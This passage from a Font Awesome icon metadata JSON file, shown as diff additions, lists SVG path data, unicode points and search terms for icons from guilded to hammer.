40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z" + } + }, + "free": [ + "brands" + ] + }, + "guilded": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e07e", + "label": "Guilded", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785923, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z" + } + }, + "free": [ + "brands" + ] + }, + "guitar": { + "changes": [ + "5.6.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "acoustic", + "instrument", + "music", + "rock", + "rock and roll", + "song", + "strings" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7a6", + "label": "Guitar", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635515, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.63 39L473 9.37a32 32 0 0 0-45.26 0L381.46 55.7a35.14 35.14 0 0 0-8.53 13.79L360.77 106l-76.26 76.26c-12.16-8.76-25.5-15.74-40.1-19.14-33.45-7.78-67-.88-89.88 22a82.45 82.45 0 0 0-20.24 33.47c-6 18.56-23.21 32.69-42.15 34.46-23.7 2.27-45.73 11.45-62.61 28.44C-16.11 327-7.9 409 47.58 464.45S185 528 230.56 482.52c17-16.88 26.16-38.9 28.45-62.71 1.76-18.85 15.89-36.13 34.43-42.14a82.6 82.6 0 0 0 33.48-20.25c22.87-22.88 29.74-56.36 22-89.75-3.39-14.64-10.37-28-19.16-40.2L406 151.23l36.48-12.16a35.14 35.14 0 0 0 13.79-8.53l46.33-46.32a32 32 0 0 0 .03-45.22zM208 352a48 48 0 1 1 48-48 48 48 0 0 1-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.63 39L473 9.37a32 32 0 0 0-45.26 0L381.46 55.7a35.14 35.14 0 0 0-8.53 13.79L360.77 106l-76.26 76.26c-12.16-8.76-25.5-15.74-40.1-19.14-33.45-7.78-67-.88-89.88 22a82.45 82.45 0 0 0-20.24 33.47c-6 18.56-23.21 32.69-42.15 34.46-23.7 2.27-45.73 11.45-62.61 28.44C-16.11 327-7.9 409 47.58 464.45S185 528 230.56 482.52c17-16.88 26.16-38.9 28.45-62.71 1.76-18.85 15.89-36.13 34.43-42.14a82.6 82.6 0 0 0 33.48-20.25c22.87-22.88 29.74-56.36 22-89.75-3.39-14.64-10.37-28-19.16-40.2L406 151.23l36.48-12.16a35.14 35.14 0 0 0 13.79-8.53l46.33-46.32a32 32 0 0 0 .03-45.22zM208 352a48 48 0 1 1 48-48 48 48 0 0 1-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "gulp": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ae", + "label": "Gulp", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860996, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z" + } + }, + "free": [ + "brands" + ] + }, + "h-square": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "directions", + "emergency", + "hospital", + "hotel", + "map" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0fd", + "label": "H Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635516, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-112 48h-32c-8.837 0-16 7.163-16 16v80H160v-80c0-8.837-7.163-16-16-16h-32c-8.837 0-16 7.163-16 16v224c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16v-80h128v80c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16V144c0-8.837-7.163-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-112 48h-32c-8.837 0-16 7.163-16 16v80H160v-80c0-8.837-7.163-16-16-16h-32c-8.837 0-16 7.163-16 16v224c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16v-80h128v80c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16V144c0-8.837-7.163-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "hacker-news": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1d4", + "label": "Hacker News", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860996, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z" + } + }, + "free": [ + "brands" + ] + }, + "hacker-news-square": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3af", + "label": "Hacker News Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860996, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z" + } + }, + "free": [ + "brands" + ] + }, + "hackerrank": { + "changes": [ + "5.2.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5f7", + "label": "Hackerrank", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775899, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z" + } + }, + "free": [ + "brands" + ] + }, + "hamburger": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bacon", + "beef", + "burger", + "burger king", + "cheeseburger", + "fast food", + "grill", + "ground beef", + "mcdonalds", + "sandwich" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f805", + "label": "Hamburger", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635517, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256H48a48 48 0 0 0 0 96h416a48 48 0 0 0 0-96zm16 128H32a16 16 0 0 0-16 16v16a64 64 0 0 0 64 64h352a64 64 0 0 0 64-64v-16a16 16 0 0 0-16-16zM58.64 224h394.72c34.57 0 54.62-43.9 34.82-75.88C448 83.2 359.55 32.1 256 32c-103.54.1-192 51.2-232.18 116.11C4 180.09 24.07 224 58.64 224zM384 112a16 16 0 1 1-16 16 16 16 0 0 1 16-16zM256 80a16 16 0 1 1-16 16 16 16 0 0 1 16-16zm-128 32a16 16 0 1 1-16 16 16 16 0 0 1 16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 256H48a48 48 0 0 0 0 96h416a48 48 0 0 0 0-96zm16 128H32a16 16 0 0 0-16 16v16a64 64 0 0 0 64 64h352a64 64 0 0 0 64-64v-16a16 16 0 0 0-16-16zM58.64 224h394.72c34.57 0 54.62-43.9 34.82-75.88C448 83.2 359.55 32.1 256 32c-103.54.1-192 51.2-232.18 116.11C4 180.09 24.07 224 58.64 224zM384 112a16 16 0 1 1-16 16 16 16 0 0 1 16-16zM256 80a16 16 0 1 1-16 16 16 16 0 0 1 16-16zm-128 32a16 16 0 1 1-16 16 16 16 0 0 1 16-16z" + } + }, + "free": [ + "solid" + ] + }, + "hammer": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "fix", + "repair", + "settings", + "tool" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6e3", + "label": "Hammer", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635518, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M571.31 193.94l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31-28.9-28.9c5.63-21.31.36-44.9-16.35-61.61l-45.25-45.25c-62.48-62.48-163.79-62.48-226.28 0l90.51 45.25v18.75c0 16.97 6.74 33.25 18.75 45.25l49.14 49.14c16.71 16.71 40.3 21.98 61.61 16.35l28.9 28.9-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l90.51-90.51c6.23-6.24 6.23-16.37-.02-22.62zm-286.72-15.2c-3.7-3.7-6.84-7.79-9.85-11.95L19.64 404.96c-25.57 23.88-26.26 64.19-1.53 88.93s65.05 24.05 